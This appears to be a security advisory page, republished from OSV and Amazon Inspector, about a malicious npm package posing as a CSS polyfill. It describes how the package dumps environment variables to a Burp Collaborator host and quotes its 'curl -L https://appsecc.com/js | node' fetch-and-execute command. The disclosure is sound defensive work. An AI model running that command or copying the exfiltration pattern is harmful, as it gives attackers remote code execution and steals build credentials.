Malicious code in css-vvgsze-polyfill (npm)

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (242414f6ea61921e2c62a6f4552456c486eee58d10c0aeec8b33d8043751ee59) thunderboltRegistry.js runs an IIFE on module require that performs two attacker-benefit actions against the installer. First, it execSyncs `id`, `whoami`, `env`, and `ifconfig`/`ip addr`, then transmits the output along with hostname, platform, and pid as query parameters via fetch to a hardcoded unique-subdomain Burp Collaborator endpoint at https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/. The `env` dump leaks every environment variable, which in CI/build contexts routinely contains cloud credentials, registry tokens, and API keys. Second, it execSyncs `curl -L https://appsecc.com/js | node`, fetching an opaque remote JavaScript payload from an attacker-controlled host and executing it in the Node process, yielding full remote code execution on the installer host. The package presents itself as a CSS polyfill and exports Proxy no-op stubs mimicking Wix thunderbolt registry symbols (`thunderboltRegistry`, `siteAssetsRegistry`, etc.), a cover-story shape consistent with dependency-confusion or typosquat targeting of a Wix build pipeline so an infected build appears to function while the payload runs.

Source published

5 Oct 2026 16:13:54 UTC

Source modified

5 Oct 2026 16:31:38 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.